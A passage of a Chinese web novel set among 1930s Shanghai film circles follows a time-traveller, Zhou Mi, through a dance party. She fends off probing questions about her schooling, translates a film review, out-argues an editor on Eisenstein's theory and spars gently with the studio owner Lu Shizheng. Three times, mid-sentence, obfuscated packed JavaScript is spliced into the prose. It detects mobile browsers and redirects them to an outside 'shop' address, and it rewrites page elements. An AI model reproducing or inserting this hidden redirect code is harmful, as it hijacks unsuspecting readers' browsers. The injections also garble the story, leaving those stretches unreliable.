李记元按下心头不快,语气里却透出几分意味深长:“这倒是巧了。平日甚少见白小姐参加我们这些聚会,今日一来,便遇上了老同学。” 11. 明枪暗箭 白秋宁笑了一笑:“那有什么稀奇?你不相信缘分么?” 李记元推了推鼻梁上的金丝眼镜,也微笑道:“缘分这种东西,我自然是不大信的。不过白小姐金口一开,说这是缘分,那我可不敢不信了。” “您真是会说话。”白秋宁似乎觉得他知情识趣,便热情问道,“怎么称呼?” “鄙人李记元,目前在《申报》做些文字工作。” 白秋宁脸上的笑意却倏地淡了下去,方才那股热络劲儿像退潮般消散,只是不咸不淡地点了点头,便拉着周弥的手臂往旁边的沙发座走去。 李记元心头掠过一丝错愕与不解。 他自觉方才应对得体,《申报》编辑的身份在当今沪上也是十分体面的工作,言语间更是给足了这位白家千金脸面,不知是哪个词、哪个神态,竟触了对方的霉头,惹得她瞬间变了脸色。 舞会正式开始的时间将至,宾客已基本到齐。 李记元按下心中疑虑,脸上重新挂起得体的笑容,略略提高了声音: “诸位,请容我引荐——” 他的声音平稳而具有穿透力,大家停下了交谈,目光齐刷刷地投了过来。 “这位,这便是刚从旧金山归来的周弥周小姐。”李记元侧身,将周弥正式呈现在众人面前。 近处的几位男女迅速围拢过来,远处也有好奇的目光投来,三两人低声交谈着走近。周弥起身,向众人微笑致意。 李记元一一引荐: “这位是林秀山林先生,”他指向一位穿着半旧但整洁西装、气质沉静、近四十岁的男子,“沪江大学机械系教授,专攻机械工程,是我们同学会里的‘技术专家’,自己常动手改良些机器设备。” 林秀山向周弥微微颔首。 “这位是苏婉婷苏小姐,”李记元转向一位戴细边眼镜、身着米色西装套裙的年轻女性,“任职于花旗银行上海分行信贷部,专司实业与文化项目的融资评估,眼光精准,是我们同学会的‘财神爷’。” 苏婉婷笑容很职业,与周弥握了握手。 “陈庆松陈先生,”李记元的手引向一位四十岁上下、面庞圆润的中年人,“在南洋兄弟烟草公司担任高级营销经理,沪上大大小小的广告牌和月份牌,不少都出自他的谋划。” 陈庆松未语先笑,显得十分活络,也伸出手来握手,“周小姐,幸会幸会!听李兄说起你,真是巾帼不让须眉啊!” 最后是一位三十五六岁、衣着朴素中山装、面容敦厚的男子:“王蕴华王先生,在公共租界工部局教育处任职。” 王蕴华的笑容显得朴实些,冲周弥点了点头。 李记元又将新近围拢过来的两三位宾客简短介绍完毕。待寒暄声稍歇,他推了推眼镜,目光扫过众人,脸上带着一种完成使命般的笑意,故意抬高了些声音说道: “各位同仁,幸不辱命,我可是把周小姐给请来了。” 言下之意却再明白不过——人我已带到,诸位有什么想问的,现在可以开始了。 果然,一位穿着条纹西装、方才被介绍为某洋行职员的青年率先开口,语气带着恰到好处的恭维与好奇: "我们起初听说周小姐如此见识,都猜想必定是海外名校的大学生了。后来才知,周小姐竟未曾入读大学,全凭自身聪颖与机遇积累至此,实在令人佩服。说来也巧,我和周小姐一样,也是去年才从海外回来,倍感亲切。不知周小姐当年,是在旧金山哪所中学就读?没准,我们是中学校友呢。” 李记元笑容可掬,不待周弥或白秋宁回答,便抢先一步截住了话头:“哦,关于这个,白小姐方才倒是同我提过。” 他转向白秋宁,态度显得十分尊重,“白小姐说,她与周小姐是旧金山时的同窗故友,缘分实在不浅。” 说完,他目光似是不经意地,飘向了站在一旁、一直神色冷静的苏婉婷,语气自然地补充道: "那么说起来,苏小姐与白小姐是圣玛利女中的同期,自然也就算是周小姐的同窗了。” 众人闻言,脸上露出“原来如此”的神色,纷纷点头。 几位男士笑着打圆场:“原来是圣玛利女中的,怪不得与咱们这些男士没有交际。” 然而,苏婉婷却扶了扶细边眼镜,在一片附和声中清晰地说道:“李兄这么一说,我倒真有些困惑了。” 她看向白秋宁:“秋宁,你我同期在圣玛利读了整整两年书,班级挨着,大小活动几乎都在一起。我怎么没见过周小姐哩?” 她顿了顿,目光转向周弥,审视之意更浓,问题也愈发具体: "周小姐,恕我冒昧。您是分在哪位修女管理的宿舍呢?或许只是我记性不好,一时想不起来了。” 在众人聚焦的目光和隐隐凝滞的气氛中,周弥却忽然轻轻地笑了。 那笑容里没有惊慌,反而有种如释重负的坦然。她迎着苏婉婷审视的目光,语气平静,甚至带着一丝无奈: “苏小姐没有记错。您确实不会对我有印象。” 她顿了顿,在众人讶异的注视下,清晰地说道: “因为我在圣玛利,只待了不到一周,就退学了。” 这个答案出乎所有人意料,苏婉婷甚至忍不住“啊”了一声,“只一周?为何仅仅一周就退学了呢?圣玛利的入学并不容易啊。” 周弥道:“那时家里突然出了些变故,急需用钱,加上我初到异国水土不服,病了一场。家里权衡之下,觉得让我休学调养更稳妥。后来的教育,都是请了家庭教师来完成的。” 家庭变故、健康原因,都是无法深究也不便深究的私事,恰好解释了为何查无此人却又与白秋宁相识,又将短暂就读与缺乏大学学历连贯了起来,听上去合情合理。 众人听了,脸上露出理解与惋惜的神色,方才紧绷的气氛为之一缓。 周弥顿了顿,又补充道,“当时的宿舍,是分在玛格丽特修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001699|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女管理的西翼宿舍,二楼,当时分在玛格丽特修女管理的宿舍,和秋宁恰好同屋。短短几日,承蒙她关照,所以秋宁对我有印象。而苏小姐您那时可能已经适应了学校生活,活动圈子固定,对我这个匆匆来去的‘过客’没有留意,再正常不过。说起来,我倒是对苏小姐有印象的,那时候苏小姐总是喜欢留双马尾,是不是? 苏婉婷微微一愣,“是……是有过那么一阵。这么多人,难为你还记得这么细。” 人家记得她,她却不记得人家,苏婉婷心中实在是觉得有些不好意思,面上浮起些许赧然。 周弥笑道:“苏小姐气质出众,我怎会不记得。” 这话就让苏婉婷更不好意思了,她连忙摆手,语气也软和了许多: "周小姐快别这么说。我那时刚去美国,语言关难过,整天脑子里塞满了英文单词,看人都觉得隔了一层雾。莫说只来一周的室友,就是同宿舍住了一两个月的,我那时也未必能对上号、记得清。周小姐这么一说,我真是惭愧了。” 众人哈哈一阵,气氛轻松。 这时,那位一直沉默旁观的林秀山教授微笑着开口, “原来如此,真是机缘巧合,也可惜了。听李老弟方才介绍,周小姐虽未完成正式学业,却对电影艺术见解独到,从好莱坞到欧洲,信手拈来,实在令人惊叹。于电影技术我是内行,于这些文艺品评,我却十足是外行了。不过我太太恰是个影迷,平日最爱搜集些海外电影杂志。” 他一边说着,一边从西装内袋里小心取出一份折叠整齐的英文报纸, “前两日有位英国来的同行,捎来一份伦敦的《泰晤士报》,上面恰有一篇关于好莱坞新片的影评,我太太见了,非要我翻译给她听。我虽通英文,但其中许多电影行内的专有名词,可真是让我挠头。” 他笑着摇了摇头,目光转向李记元,又落回周弥身上, “今天带来,本是要找李老弟这位大笔杆子帮忙参详参详。李老弟却同我说,今日有位周小姐,对电影的了解比他还深,也是留洋通英文的,让我请周小姐看看。” 林秀山将报纸向周弥的方向递了递,态度谦和而诚恳,“不知周小姐是否方便,稍后为我这电影门外汉,口译讲解一二?也让我回去好向太太交差。” 他话音刚落,旁边几位也对电影感兴趣的宾客已经笑着撺掇起来: “还等一会儿做什么?林教授,您这关子卖得可不好,我们这会儿就想听!” “正是正是!都说西洋影评角度刁钻,周小姐,也让我们开开眼,领略一下他们是如何品评电影的。” “周小姐,可莫要推辞啊!” 所有人的目光再次聚焦,白秋宁在一旁悄悄捏紧了手。她能帮周弥圆一个学校的谎,但这纯靠硬本事的即时考验,她却无能为力。 在场各位都是留洋精英,又有李记元这种专业人士,翻译得好坏,理解得深浅,绝计是逃不过他们眼睛的。 12. 反将一军 周弥看上去倒是气定神闲。 她可是一路考过四六级,托福和GRE的人,毕业季因为找工作不顺,又想求职申博两手抓,因此还深入研究了一下海外一手文献,对付这种短评翻译,那可真是手拿把掐。 她弥接过报纸,目光一扫,便莞尔一笑。 “这篇文章评的是福克斯公司去年那部《在古老的亚利桑那》,标题俏皮,叫‘会说话的仙人掌,与沉默的旧灵魂’。” 她解释道:“这是第一部全程在野外拍的有声片。” 众人发出低低的“哦——”声,流露出对技术开拓的惊叹。 她继续翻译道: “作者说,看这部片子,仿佛被邀请参加一场在西部荒漠中举办的露天有声宴会。风声、马蹄声、枪声第一次如此真切地从辽阔的画面中传来,那种身临其境的震撼,是摄影棚里绝对伪造不出的。制片方就像个炫富的牛仔,迫不及待地向你展示他昂贵的新玩具——移动录音设备。” “但是,”她话锋一转,“当你的耳朵被这会说话的仙人掌吸引时,你的眼睛和脑子却会发现,躲在仙人掌后面的,还是那个你见过一百次的、沉默寡言的牛仔英雄,和他那桩毫无新意的复仇兼救美差事。技术带来了新风,却吹不散剧本里那层积了灰的老套。” 有人小声插话:“这作者感觉相当刻薄啊。” 但无人接茬,大家都被周弥清晰又传神的翻译吸引了注意力,等着下文。 周弥略作停顿,给出了文章的结论: “文章最后说,这部电影证明了声音能与最宏大的实景结合,开辟了新可能。但它也像一声提醒:当我们的技术终于能走出去时,我们的故事灵感,是否还困在陈旧的驿站里打转?” 语毕,她将报纸递还给李记元,态度谦逊而坦然:“李先生是行家,我这么译述,不知有无偏差?还请指正。” 李记元接过报纸,目光在那段英文上快速扫过,又深深看了周弥一眼。 她不仅译得准确,连那份批评的神韵都抓到了,甚至最后那句关于“陈旧驿站”的提炼,比原文更凝练、更具东方哲理味。 他推了推眼镜,与那位最先发问的条纹西装男士交换了一个眼神,这才转向周弥。 他脸上那丝惯常的圆滑笑意淡了些,取而代之的是一种掺杂着些许不甘的叹服: “周小姐过谦了。信、达、雅三者兼备,尤其是最后那句转译,堪称点睛之笔,令原文增色。佩服。” 周围顿时响起一片真诚的赞叹与附和声。 那份报纸被好几人伸手讨要传阅,对着英文原文与周弥方才的讲解连连点头,议论声里满是钦佩。 白秋宁更是崇拜得眼睛里简直要冒出星星了。 眼见气氛已完全导向自己,周弥心念电转,决定再添一把火,一锤定音。 等报纸传回李记元手中时,周弥状似随意地倾身,手指点向理论板块的一则内容, “李先生,刚才我就注意到这篇关于爱森斯坦访美,在研讨会上阐述蒙太奇理论的报道,似乎也颇有意思。其中一些术语着实新颖,我琢磨了半天,也不知用什么词语能译得比较地道。李先生见多识广,不知对此有何高见?” 李记元闻言,顺着她指尖看去。 那则文章篇幅不长,但涉及了当时欧洲最前沿的电影形式理论,专业词汇密集,概念抽象,远远超出了普通影评或行业报道的范畴,属于相当专业的理论探讨。 他快速浏览,眉头几不可察地蹙了一下。 他擅长的是影评和行业动态,对这种高度学术化、带着苏俄先锋色彩的形式主义理论,并无深入研究,只是平时也有涉猎,因此在普通电影爱好者面前卖弄一番倒也足够。 现在突然被真刀实枪的考起理论学问,一时间有好几处关节看不明白,更别说翻译了。 李记元内心着实没想到周弥会对他反将一军,吃惊之下额头蒙了一层汗,虽然迅速调整好表情,但语气里那份游刃有余的掌控感却稀释了不少。 他打着哈哈,将报纸轻轻合上: “爱森斯坦的理论自成体系,博大精深,确实需要细细咀嚼。今日场合轻松,不如我们先品酒跳舞,这学术问题,改日再和周小姐探讨?” 看他试图四两拨千斤地将话题推开,周弥也不再追问,只回以一个了然于心、甚至带着几分善解人意的浅笑。 这时悠扬的舞曲前奏如流水般漫溢开来,灯光开始变幻,有人马上扬声笑道: “舞会开始了!诸位,请吧!” 乐声流淌,衣香鬓影随之旋动。一部分宾客已急不可耐地滑入舞池,仍有几人意犹未尽,围着周弥谈论电影趋势,恰是这略显热闹的当口,一位英俊挺拔的男子身穿深灰色西服,穿过人群缓步而来。 水晶吊灯的光落在他身上,为他镀了层极淡的银边,更显得眉眼深邃,气度华贵。 有几位与他相熟的宾客立刻笑着打趣: “陆老板,你这可真是姗姗来迟,舞曲都响过一轮了,该当罚酒三杯!” “莫不是被华光的技术难题绊住了脚?我们这儿可都快论完一轮西洋经了!” 陆世铮含笑致歉,目光却越过寒暄的友人,落向了被人围在中央的周弥。 周弥也看到了陆世铮。 她此刻心中正暗自庆幸——果然,陆世铮也是旧金山留学背景。 幸亏她当初就考虑到这种可能性,不然那时没有白秋宁提供的细节支撑,在华光办公室恐怕早就漏了馅。 念头飞转间,已有热心人出声引荐:“陆老板,这位是刚从旧金山归来的周弥周小姐,方才一番见解,令人大开眼界,可惜你错过咯!” 陆世铮微微侧首,看向周弥,唇角极淡地勾起一个若有所思的弧度,那神情里混杂着几分真切的遗憾与尚未消散的好奇——仿佛在问:你究竟又说了什么惊人之语? 他当然不会真的问出来。只是上前两步,微笑道:“周小姐,又见面了。” “陆先生,幸会。” 寥寥数语间,周围最后几位交谈者也已携伴步入舞池。原本热闹的一角,骤然安静下来,只剩下流转的乐声作为背景。 一时无人说话,竟显出几分突兀的静默。方才围绕着周弥的机锋与探究,随着人群散开,仿佛潮水般退去,留下他们二人站在空旷的岸边。 陆世铮似乎也觉得这静默有些微妙,便主动开口问道,"周小姐要不要跳舞呢?" 周弥摇了摇头:“多谢陆先生好意,我不太会跳。您请自便,不必管我。” 陆世铮闻言,非但没有离开,反而微微一笑:“巧了,我也生疏得很,正怕踩了女士的脚。” 他侧过身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001700|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做了个清雅而自然的“请”的手势,目光指向宴会厅边缘一处沙发: “既如此,周小姐若不介意,那边有沙发可以稍坐,总好过在这里当两根不合时宜的柱子。” 两人避开舞池中央的喧嚣,在临窗一处相对僻静的沙发座落座。 两张单人沙发虽然是对坐,但中间隔着一个小小的茶几。陆世铮叫了两杯软饮过来,又做了一个“请”的手势,冲周弥笑了笑,就侧着身子远远看别人跳舞。 周弥也端起杯子,目光投向舞池。 舞池里的男人们多是西装革履,偶尔有穿长衫的先生静坐一旁,自成一道风景。女士们亦多是洋装,也有像她这样穿修身旗袍的,开衩比后世影视剧里看到的要收敛得多,行动间只隐约露出一截小腿的轮廓。 舞步也不像现代舞厅那样炫目热辣,更多的是优雅的旋转与进退。男女之间始终保持着恰好的距离,手臂的搭放、视线的交汇,都遵循着一套含蓄而默契的规则。 那是一种以克制为前提的欢愉。 像隔着薄纱观赏灯火,热烈都在分寸之内涌动。 周弥本以为陆世铮要问些什么,又见他久久不开口,不免有些好奇,正要侧目看去,陆世铮的目光也恰好从舞池收回,转向了她。 视线毫无预兆地在半空相撞,两人俱是一怔,随即都有些不自在地仓促挪开眼,嘴角又同时牵起一丝无奈又觉好笑的弧度。 陆世铮清了清嗓子,似乎正要说什么,一个爽朗的声音插了进来。 “世铮!你倒会躲清静,怎么不邀请周小姐跳支舞?”陈庆松端着酒杯晃了过来,脸上带着熟稔的笑意。 他是陆世铮留学时的师兄,说话便少了许多客套。 陆世铮略显无奈地看了他一眼,低声道:“周小姐方才说,不太会跳。” 陈庆松闻言,凑近了些,以手掩口,用只有两人能听清的音量,带着过来人的调侃语气道: "哎,我的好师弟,你这就不懂了。凡是肯来舞场的女士,哪有真不想跳的?说‘不会’,那是矜持,是在等风度翩翩的男士再三恳请呢。你这样干坐着,真是失礼。“ 陆世铮看了一眼身侧面容平静、正望着别处的周弥,微笑道:“我看周小姐应不是那样的女士。” 陈庆松道,“周小姐方才技惊四座,此刻正是众人瞩目之时。众人是看你陆大公子先近水楼台,这才暂且按兵不动。你若……” 他话说一半,瞧见周弥的视线已静静地转向他们,显然注意到了这边的低声交谈。只好将到了嘴边的话咽了回去,转而用力拍了拍陆世铮的肩膀,留下一个混合着“恨铁不成钢”与“你好自为之”的调侃眼神,便笑着转身重新汇入人群。 陆世铮的目光从陈庆松离去的背影收回,一转眸,却见周弥不知什么时候已经起身,和李记元站到了一处,不知在交谈些什么。 他想起陈庆松方才那番“舞场惯例”的调侃。 那些社交场上的微妙规则,他并非不懂,只是下意识觉得,周弥与那些遵循惯例、等待被邀约的女士是不同的。她更清醒,也更疏离。 对于揣摩异性心思,他向来不算擅长,此刻竟有些不确定起来。再看那厢,李记元不知说了什么,周弥唇角微弯,似乎露出了一丝极淡的笑意。 陆世铮心里生出几分紧迫,马上起身要再去邀请。 13. 廊下闻香 陆世铮走过去时,李记元和周弥正在交谈。 李记元方才并未步入舞池,而是独自对着报纸上那则关于爱森斯坦的短讯琢磨了半晌,自觉参透了关窍,此刻特意过来“讨教”,说话间眼底藏着不易察觉的得意, “周小姐,这‘DynamicSquare’如果直译,其实十分好译,字面是‘动态的方形’,放在电影理论的语境里,我想不可能是字面意义上的方形,而是指银幕的画幅比例。不知我说的对也不对?” 周弥微微一笑:“对,也不对。” 李记元一怔。 她又问:“李先生,在你看来,电影银幕这块方形,它究竟是什么?” 李记元又是一怔:“自然是呈现画面、承载故事的载体。” “但在爱森斯坦看来,它不止是载体,它是一个战场,一个具有自身几何力量的力场。我们总关注画面里有什么——人物、风景、动作。但爱森斯坦提醒我们,要关注画面如何与它所在的这个‘框’发生关系。一条斜线划过银幕,它与边框形成的夹角是否充满张力?一个特写占满画幅,它的重量是否压迫着边框?两个镜头切换时,前一个镜头的视觉流向与后一个镜头的流向在边框内碰撞,会产生何种能量的对撞?” 周弥继续说道:“所谓‘动态的方形’,指的就是利用剪辑,让银幕这个固定的几何形状‘活’起来,迸发出持续不断的视觉冲突力。就像……” 她想到一篇论文的比喻: “就像一位围棋国手,他眼中的棋盘,不止是摆放棋子的地方。每一条边、每一个交叉点,都蕴含着势、力、与可能。他的每一手棋,不仅在应对对手,更是在与棋盘本身的空间和规则进行对话,从而激发出棋盘最大的能量。爱森斯坦眼中的银幕,就是这样的棋盘。导演的每一个构图、每一次剪辑,都是在与这个方形棋盘下棋。” 这番话说完,李记元心里着实震了一下。他原本胸有成竹,自以为把握住了理论核心,却没想到周弥的见解如此深远开阔,甚至他在听完之后,仍觉未能全然领会。 周弥此时想,刚才本想给他留面子,点到为止,既然他非要和自己过不去,那索性打得一拳开,免得百拳来罢! 于是,她装作闲闲问起:“李先生喜欢看好莱坞电影吗?” 李记元大脑几乎已经转不动了,被她这么轻描淡写一问,倒松了些紧绷,忙道:“当然爱看。” 周弥微微一笑:“那你一定知道,好莱坞眼下正想把1.37:1的画幅固定为‘黄金比例’这件事吧?” 二十世纪三十年代,电影画幅其实并无统一标准,可说是百花齐放。但统一规格显然更有利于商业运作——全球采用相同的放映设备,对产业自是好事,对艺术创新却难免是一种束缚。 “简单来说,爱森斯坦的‘动态方形’理论就是一个画幅上面的构想,理想的画幅比例应是1:1,并且能够根据内容自由变化,“她笑了笑,点明了重点,“本质上是一场对抗工业化标准的艺术抵抗。” 莫说爱森斯坦这一套理论,就连好莱坞试图统一画幅的行业动向,当时知道的人也并不多。李记元自然也从没听说过。 他感觉自己仿佛又被敲了一记闷棍。脸上那点先前的得意,渐渐褪得干净,只剩下一丝难堪的苍白,只能机械地点头。 这时,周围掌声响起,原来他俩的讨论早已吸引了一些宾客驻足旁听。 这些人多是电影爱好者,过去一直将李记元奉为理论上的权威,此刻却是高下立见。 有人立刻回想起舞会前李记元刻意岔开话题的细节,心中恍然:原来不是不愿谈,而是当时接不住,私下思索半天,仍不及周弥此刻信手拈来的透彻,二人造诣深浅,实在相差甚远。 只是众人碍于李记元颜面,也不好明着捧此抑彼,便都只含蓄地鼓掌。 却有一道清朗的声音,不高不低地响起,言语间带着毫不掩饰的欣赏:“精彩。若非周小姐今日这番解读,我们还不知国外影人早已在画幅一事上,做了如此艺术化的探索。相形之下,我们这些国内同仁,确实该更加努力了。” 周弥看去,正是陆世铮。 她谦虚道:“陆先生过誉了。不过是回国比诸位稍晚些,恰好多看了几本新出的理论书,纸上谈兵罢了。” 这话说得其实十分恳切。 她这些不能让人尽解的洞见都是站在百年后理论巨人的肩膀上撷取的思想片段,即便在后世,这些理论也是非常晦涩的,各种专家学者孜孜不倦能研究出花来。若算作她的创见,她可万万不敢当。 但在场诸人很明显将其视为谦虚之语。 有人含笑接话:“周小姐这话未免太谦。即便只是从书上学来的,能记住本身也是本事。” 周弥心想,那是你们没经历过我们那年代的应试教育,背书考试可是基本功。面上却只微微一笑,并不接话。 另有人问道:“周小姐不去跳舞么?” 周弥正欲开口,陆世铮已从容上前一步:“周小姐,不知我是否有这个荣幸,能请你跳支舞?” 这话一出,旁人自然识趣。与陆世铮相比,他们有钱的不够英俊,英俊的不够成功,成功的不够有钱,总归是差了些意思。众人便笑笑,各自散开了。 “陆先生,实在不是推辞。”她语气诚恳,“我是真的不会。这样的场合……我今天还是头一回来。” 陆世铮神色未变,只温声道:“这没关系。跳舞是极容易的事,我可以教你。” 周弥在旁人面前也算得上持重,不知为何,独独面对陆世铮时,心里总生出些促狭的念头。 她微笑道:“陆先生方才不是说自己也不擅长,怕踩了我的脚么?怎么转眼又能当老师了?” 陆世铮知道她又在调侃自己,反而坦然:“其实并非不擅长,只是我看周小姐不想跳舞,那我不如陪周小姐坐坐聊聊。” 周弥笑道:"既然聊聊,怎么刚才又一直不说话呢?" 陆世铮此时才有些不好意思起来:“只是坐下之后……又觉得在这种场合和周小姐聊工作了,未免不解风情。想和周小姐聊些别的,又实在不是风月场上的高手,你看我不说话,其实我在绞尽脑汁呢。” 他向来是一派贵公子气度,此刻这点罕见的局促,反倒让周弥觉得坦诚可亲,便笑道:“那正好,我帮您省了您的绞尽脑汁,这儿倒真有些工作上的事,想和您聊聊。” 陆世铮素来尊重她的意见,见她神色认真,便从善如流,两人又回到方才临窗的座位。 他招手叫来侍者,点了一瓶红酒。酒很快送来,他付完酒钱,又从随身的皮夹里随手抽出一张五元钞票递过去。 这一下,倒让周弥受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001701|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了点刺激。 原因是她昨日去租房,才知道这个年代普通职员月薪不过二三十元,他随手付的小费,就抵得上许多人一礼拜的茶米油盐。 之前那一千元,更是相当于一名高级职员两年薪酬。 而他给了两次。 像他这样用钱,简直是把大洋钱看作大铜子。 她对他的看法由此稍微生出些不同。她的心态毕竟还是无产阶级的,对这样的铺张,她实在是觉得有点不太像话。 但若不是他慷慨,她又怎能解除危机?这么一想,又觉得自己这般腹诽,实在是有些既要又要了。 陆世铮自然不知她心中这番辗转。他为自己和她各斟了半杯酒,笑道:"周小姐又有什么高论?" "要说高,未见得高,要说紧要嘛,还是很紧要的。" 周弥便把华光内部一定有其他公司安插的商业间谍的事分析给陆世铮听了。 他凝神听完,沉默了片刻,郑重道:“多谢周小姐提醒。此事关涉重大,陆某记下了。" 顿了顿,他又道:"我思前想后,还是想争取周小姐来华光…” 他的言辞比在华光办公室时更为恳切周全,不仅将顾问的权限抬得更高,开出的酬劳也进一步加码了许多。 但周弥还是一个婉拒了事。 陆世铮虽觉遗憾,却也尊重她的选择,不再勉强。二人便倚着雕花玻璃窗,就着杯中残酒,围绕电影技术的未来走向又闲谈片刻,直到舞会曲声渐歇,宾客开始陆续道别,侍者穿梭于席间,收走水晶烟灰缸里未熄的烟蒂。 此时夜已深,门廊外沿街的树下,汽车与人力车排成一列长龙,由北向南蜿蜒停下,宾客们陆续出门,外头不知何时已飘起了雨。 雨势渐大,大家都在廊前避雨候车,门前不免有些喧嚷忙乱。 陆世铮因来得迟,他的汽车停得稍远,反倒好认;那些来得早的宾客,带了司机的,此刻挤在狭窄的门廊下并肩而立,翘首以盼,没带司机的,只能自行穿梭在一排排相似的车辆间,费力地辨认寻找。 一些人力车夫穿插其间,不停呦呵着,“坐我的,坐我的……” 陆世铮已然望见自家那辆熟悉的轿车,便侧身对周弥道:“雨势不小,周小姐暂且在廊下稍候,我去叫司机把车开过来。” “不必麻烦了,陆先生。”周弥忙婉拒,“我叫辆人力车回去就好,来时便是这样。” 她侧身回话时,正巧一阵裹着雨汽的穿堂风掠过廊下。陆世铮忽地闻到一丝极淡的幽香,不是厅内馥郁的脂粉气,倒像是雨前兰草清冽的余韵。 方才在宴会厅,两人始终保持着得体的距离,厅内各式香水与脂粉气息混杂,倒也未曾注意。此刻挤在这摩肩接踵的狭窄门廊下,这缕气息就显得非常私人了。 陆世铮竟无端生出几分赧然,一时失了神。 说是一时,其实不过短短几秒,但这瞬息的迟滞,已让他未能立刻接上她的话。 他自觉失礼,忙定了定神,“来时又没有下雨,如今风雨交加,人力车无遮无拦,一路吹过去,岂不是容易着凉么?” 两人正说着,一辆锃亮的黑色轿车灵活地绕过几辆停滞的汽车,稳稳滑到近前。 车窗降下,露出白秋宁明媚的笑脸, “周弥,快上来!这雨一时半会儿停不了啦!” 14. 自卑影后 周弥见状,对陆世铮歉然一笑:“秋宁的车来了,我便不劳陆先生了。多谢您。” 说罢,她略一点头,便快步走向白秋宁的车,拉开车门弯腰坐了进去。 人走了,那香气的余韵还缠在雨汽里未曾散去。 陆世铮怔在原地,雨水带着凉意,悄无声息地沾湿了他的肩头。 他早听说她赴了邵同的饭局,如今看来,与瑞星的白家千金也这般熟稔,心里那点不是滋味,也像这渐密的雨丝,无声地渗了进来。 他想: 她想去哪里,与谁结交,自然是她的自由。她既已三番五次婉拒了我的邀约,便是不愿与华光绑在一起。若她觉得众一或瑞星更能施展抱负,坦诚相告即可,我自当祝福她。 莫非她是觉着我会因此介意,才如此遮掩行止?但我也不是懵懂少年,她何至于如此顾虑我的感受? 莫非在她眼里,我陆世铮,竟是如此没有格局、心胸狭隘之人? 想到这层,心里实在有些发闷。 又想起自己向来以周到持重自许,方才怎只顾着为周弥喝彩,全然忘了顾及李记元的颜面? 他只顾探身望着她那辆车渐远的背影,没注意到雨点已打湿了肩头和头发,洇开深深浅浅的水痕。 直到司机提高声音唤他:“老板?老板?”他才恍过神来。 看司机那神色,应当是已叫了他好几遍。 陆世铮收回目光,敛去所有情绪,弯腰坐进车内。 车厢隔绝了雨声,一片寂静。 车窗外的路灯流光掠过,明明暗暗,他突然间就生出了心事: 你已不是毛头小伙,到底为何还要像个孩童般,因别人未选你而介怀呢? … 周弥倒是也有一些心虚。 她不愿当面说破,多少是出于礼貌。她不想让他误会比起他筚路蓝缕的初创公司,她更信任那些根基深厚的老牌势力,更不愿让他感到被轻看。 可公司之间彼此刺探本是常态,陆世铮未必不知道她与邵同有所来往。 她嘴上仍说着与先前相同的立场,但时移世易,如今的境况早已和当初在华光办公室长谈时截然不同。待到明日,她真去了众一做事,陆世铮会怎么想? 或许会觉得她表里不一吧? 一个人刚从舞会的声色光影里抽身,本就不是马上就能安歇的,心里再揣着这样的事,就更是辗转难眠。 床头小柜上,荷叶盖电灯将一团暖黄的光静静铺在枕边。灯光下,散着几本白秋宁似乎特意留给她消遣的明星画报和流行小说。 她拿起明星画报随手翻了几页,又想起孙祺瑶来了。 按照电影史,孙祺瑶是会成为一代著名演员的。也就是说,无论有没有她周弥介入,孙祺瑶都注定会被这个时代看见、被镜头记住。 那她必须早些行动起来,抢在别人之前,将这颗未来的明星,握在自己手里。 这么想着,不免有些兴奋,逐渐也就把陆世铮会如何想她的事情抛之脑后。 再说,她又不是做了什么亏心事,说一千道一万,不过是择业自由,又有什么值得内耗的。他若是因为这种事就小心眼,那她才算看错了他呢。 这么想着,马上就自洽了。第二天早早醒来,先去路边商店买了包梨膏糖,牛乳蛋糕和几样时兴的小零嘴,寻到了孙记照相馆附近的那所女子中学。 她请门房递了个口信,不多时,孙祺瑶便匆匆跑了出来,额角还带着细汗,大约是刚从课堂或操场上过来。 看的出她十分惊喜,引周弥走到一株老梧桐下的长凳坐下,捏着周弥递过来的梨膏糖,小口小口抿着,糖的甜意化开,眼睛也跟着亮晶晶的。 "上次在照相馆,真多谢姐姐替我解围。本该我请你吃东西的……你想不想吃牛排呢?明天,就明天,你千万不要拒绝!” “举手之劳,别放在心上。”周弥笑了笑,目光掠过操场上奔跑嬉笑的女学生身影,“我比你大几岁,如今也算有点收入。你还是学生,等你将来自己挣钱了,再请我也不迟。” 孙祺瑶闻言,摇头道:“这怎么能等?我现在高中还没毕业,就算毕了业,家里还盼着我考大学呢。真要等到我能挣钱,那不知是猴年马月的事了。" 她说着,扬起脸一笑,补充道:“不过,我是有零花钱的喔!” 周弥道:“那样就更不用谢了。我不过帮你说两句话而已,本也没想着你回报什么。” 见她拒绝得如此干脆,孙祺瑶有些急了,声音里带上一丝辩解:“不用……不用分得这么清楚吧?我父母给的生活费,我本就可以自己支配的。” 